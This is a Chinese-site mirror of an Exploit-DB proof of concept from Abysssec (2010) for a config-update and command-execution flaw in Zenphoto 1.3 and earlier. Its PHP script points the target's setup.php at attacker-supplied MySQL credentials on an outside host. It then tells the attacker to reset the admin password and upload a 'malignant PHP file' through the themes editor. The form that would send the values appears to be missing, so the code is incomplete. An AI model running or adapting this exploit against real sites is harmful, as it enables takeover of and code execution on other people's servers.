ZenPhoto – Config Update / Command Execution - 体验盒子

作者： Abysssec

日期： 2010-09-26

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/15114/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

<?php

/*

________ __ ____

|\/|/ __ \ /\| || |_ \

| \/ | || | /\ | || | |_) |

| |\/| | || |/ /\ \| || |_ <

| || | |__| / ____ \ |__| | |_) |

|_||_|\____/_/\_\____/|____/

http://www.exploit-db.com/moaub-26-zenphoto-config-update-and-command-execute-vulnerability/

Abysssec Inc Public Advisory

Title:Zenphoto Config Update and Command Execute Vulnerability

Affected Version :Zenphoto <= 1.3

Discovery:www.abysssec.com

Vendor :http://www.zenphoto.org

*/

$path = "http://www.site.com/zenphoto" ."/" . "zp-core/setup.php";

$new_mysql_user = "abysssec";

$new_mysql_pass = "absssec";

$new_mysql_host = "abysssec.com";

$new_mysql_database = "abysssec_database";

$new_mysql_prefix = "zp_";

echo "<html><head></head>

<style>

body {font-family:tahoma;font-size:14px}

</style>

<body>";

echo "Zen Photo Image Gallery 1.3 Reset admin Password <br>

By : Abysssec @ Inc <br>www.Abysssec.com<hr>

After click on below , if target will can connect to your Mysql_Host :<br>

You Must view 'GO !' Messege ...<br>

Click on & wait ....

<br> Then , You need to set your admin user and password.<br><hr>

Upload file:<br>

you can Edit themes From themes Tab and Upload your malignant PHP file.<br>

</form>

";

echo "</body></html>";

?>